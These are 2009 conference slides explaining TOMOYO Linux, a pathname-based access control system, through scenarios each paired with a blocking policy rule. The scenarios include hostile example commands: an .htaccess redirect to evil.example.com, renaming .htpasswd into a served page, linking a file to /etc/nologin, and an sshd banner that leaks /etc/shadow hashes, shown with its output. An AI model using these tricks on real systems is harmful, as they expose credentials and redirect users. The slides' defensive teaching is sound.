Linux.Conf.Au 2009

Deep inside TOMOYO Linux

2009.1.20

TOMOYO Linux Project

Handa Tetsuo

Two versions of TOMOYO

- Version 1.6.x
  - Not using LSM.
  - Full featured version.
    - This material refers to this version.
  - Supports many kernels/distributions including 2.4 kernels.
- Version 2.2.x
  - Modified to use LSM for mainline inclusion.
    - Proposal in progress.
  - Minimal subset of 1.6.x .

What is TOMOYO's argument?

- The "name" based access control has been unpopular among security professionals.
  - Because whether a file is readable and/or writable and/or executable depends on the location of that file.
- But, we had better not to neglect the role of "name" in security.
  - Or, we will get undesirable consequence.

What is TOMOYO's argument?

- As long as a file's contents are stored in an inode, the contents could be separated/protected by "label" based access control.
- But when the contents are copied to userspace and mixed by applications, the "label" of the contents is lost.
  - Thus, we should be aware with factors that control how the contents are processed.
  - The "name" is one of such factors.

What is TOMOYO's argument?

- Factors that affect security
  - Program's code
  - Files accessed by programs
  - User's input
  - Pathname (i.e. the location of a file)
  - Command line arguments (a.k.a. argv[])
  - Environment variables (a.k.a. envp[])
  - and more?
- TOMOYO tries to care "name" factors.

Scenario 1 : Customer's Demand

- We want to upload web contents via CGI/FTP/SFTP/TAR etc.
  - Filename the administrator is expecting:

    /var/www/html/plaintext.txt
  - Contents the administrator is expecting:

    Hello world!
- We want to let Apache serve the web contents.

Scenario 1 : Question

- How can we avoid below case?
  - Filename actually created:

    /var/www/html/.htaccess
  - Contents actually written:

    RedirectMatch (.*) http://evil.example.com/cgi-bin/poison-it?$1
- Apache will interpret .htaccess and return "302 Moved Temporarily" to clients.
  - The clients will be redirected to malicious server.

Scenario 1 : Question

- People are aware with cross site scripting vulnerability.
  - It is an application level problem.
- Are people also aware with redirection vulnerability?
  - http://isc.sans.org/diary.html?storyid=5150
  - It is an OS involved problem.
  - Don't we have some rooms for protection?

Scenario 1 : TOMOYO's Solution

- You can use "\-" (name subtraction operator) to avoid exercising unwanted pathnames.
  - Only access controls which care "name" factor can do.
- Below is an example that doesn't allow creation of filename which begins with "." so that files like .htaccess won't be created.
  - allow_create /var/www/html/*\-.*

Scenario 2 : Customer's Demand

- We need to execute /bin/cat /bin/mv /bin/rm and some more commands from Apache's CGI.

Scenario 2 : Question

- What happens if the CGI has a security hole that allows below operation?
  - $ /bin/mv /var/www/html/.htpasswd /var/www/html/index.html
- Apache will interpret index.html and return the contents of .htpasswd (i.e. password information) to clients.
  - The administrator won't want Apache to do so.

Scenario 2 : TOMOYO's Solution

- Control what filenames are created/deleted/opened by the CGI.
  - The "name" based access control can forbid use of inappropriate names.
- Change security context of a process whenever a program is executed.
  - /bin/cat /bin/mv /bin/rm and some more commands will have different set of pathnames that are allowed to exercise.

Scenario 3 : Customer's Demand

- We want to prevent administrator from blocking general users.

Scenario 3 : Question

- What happens if the administrator issues the following operation?
  - # ln /etc/resolv.conf /etc/nologin
- The administrator can prevent the general users from logging in, if the administrator is allowed to create a file named /etc/nologin .

Scenario 3 : TOMOYO's Solution

- You can restrict what names the administrator and the general users can create/delete/rename/link.
- You can restrict namespace changes (e.g. mount/umount/chroot/pivot_root).

Scenario 4 : Customer's Demand

- We want to divide administrator's tasks.
- We want to forbid operations that will leak /etc/shadow .
  - # cat /etc/shadow
  - Hey, there is a plenty room for criticizing "name" based access control!
  - No, that’s not what I wanted to say here.

Scenario 4 : Question

- We need to grant read access to /etc/shadow to applications which authenticate a user.
  - /bin/login /bin/su /usr/sbin/sshd
- Then, why not consider "How /etc/shadow is used by such applications?"
  - I'm talking about behaviors after the contents of /etc/shadow are copied to userspace.
  - This is not a battle of "name" versus "label".

Scenario 4 : Question

- Wow! Can you accept this?
  - Using /etc/shadow as a banner.

```
# /usr/sbin/sshd -o 'Banner /etc/shadow'
# ssh localhost
root:$1$d8kgaeX7$PqJEIeNsGAGPw4WwiVy0C/:14217:0:99999:7:::
bin:*:14189:0:99999:7:::
daemon:*:14189:0:99999:7:::
adm:*:14189:0:99999:7:::
lp:*:14189:0:99999:7:::
sync:*:14189:0:99999:7:::
shutdown:*:14189:0:99999:7:::
(…snipped…)
kumaneko:$1$Y1sTeizV$y59KJ5302WPGh9rw8kGU50:14217:0:99999:7:::
root@localhost's password:
```

Scenario 4 : TOMOYO's Solution

- You can control command line parameters and environment variables.
  - Because they are factors that control how the contents are processed.
- Here are some examples.
  - allow_execute /usr/sbin/sshd if exec.argc=1
  - allow_execute /bin/sh if exec.argc=3 exec.argv[1]="-c" exec.argv[2]="/bin/mail" exec.envp["PATH"]="/bin:/usr/bin"

Scenario 5 : Customer's Demand

- We have to allow execution of /bin/sh from our server application.
- Parameters given to /bin/sh are variable, but we don't want to allow use of arbitrary parameters.
  - We want to control not only commands but also command line parameters and environment variables.

Scenario 5 : TOMOYO's Solution

- You can validate/record/detoxify parameters and do setup procedure (e.g. mounting private /tmp/ partition) using "execute_handler" keyword.
- Below example lets /usr/bin/check-cgi-param intercept program execution request.
  - execute_handler /usr/bin/check-cgi-param

Scenario 6 : Customer's Demand

- We want to assign different permissions based on client's IP address and/or port number.

Scenario 6 : TOMOYO's Solution

- You can manage process's state using "task.state" keyword.
  - allow_network TCP accept @network1 1024-65535 ; set task.state[0]=1
  - allow_network TCP accept @network2 1024-65535 ; set task.state[0]=2

Scenario 7 : Customer's Demand

- We want to accept policy violation caused by software updates so that the service can restart properly after software updates.

Scenario 7 : TOMOYO's Solution

- You can interactively handle policy violation in enforcing mode.
  - To handle (library file's) pathname changes.
  - To handle (irregular) signal requests.
  - To examine whether the restarted service can work properly.

Scenario 8 : Customer's Demand

- We want to protect our system from SSH brute force attacks.
  - We can't use public key authentication because we are not allowed to use removable media.

Scenario 8 : TOMOYO's Solution

- You can insert fully customizable extra authentication layer between the SSH server process and the login shell process.
  - TOMOYO's process invocation history allows you to design process's state transition diagram.
  - You can insert any setup programs into state transition diagram and enforce it.

What versions can TOMOYO 1.6.x support?

- Vanilla kernels since 2.4.30/2.6.11.
- Many distributions' latest kernels.

RedHat Linux 9
Fedora Core 3/4/5/6
Fedora 7/8/9/10
CentOS 3.9/4.7/5.2
Debian Sarge/Etch/Lenny
OpenSUSE 10.1/10.2/10.3/11.0/11.1
Ubuntu 6.06/6.10/7.04/7.10/8.04/8.10
Asianux Server 2.0/3.0
Vine Linux 4.2
Nature’s Linux 1.6
Gentoo
Hardened Gentoo

Mandriva 2008.1/2009.0
Turbolinux Server 10/11
Turbolinux Client 2008

Why TOMOYO 1.6.x doesn't use LSM?

- Not all hooks are provided.
  - Minimal hooks for implementing TOMOYO 2.2.0 were merged in 2.6.28-git4 .
  - TOMOYO needs more LSM hooks.
    - Hooks for socket's accept()/recvmsg() operations.
    - Hooks for non POSIX capability.
    - Hooks for interactive enforcing mode.
- To support 2.4 kernels.

Why TOMOYO 1.6.x doesn't use LSM?

- TOMOYO wants to coexist with other security mechanisms.
  - We now understand unexpected "name" causes unexpected behaviors, don't we?
  - Controlling only "label" is not sufficient. We need to also control "name".
- But current LSM is *exclusive*.
  - I hope LSM will become stackable so that we can enable multiple LSM modules at the same time.

Conclusion?

- The "name" based MAC is an inferior solution compared to the "label" based MAC if we care only whether a file is readable and/or writable and/or executable.
- But there are "name" specific advantages if we care other aspects in security.
- TOMOYO is a "name" based MAC which compensates for "label" based MAC's shortage.

Materials?

- The role of "pathname based access control" in security.
  - http://sourceforge.jp/projects/tomoyo/docs/lfj2008-bof.pdf
- "Why TOMOYO Linux?"
  - http://sourceforge.jp/projects/tomoyo/docs/tlug200805.pdf
- All materials are available at
  - http://sourceforge.jp/projects/tomoyo/docs/?category_id=532&language_id=1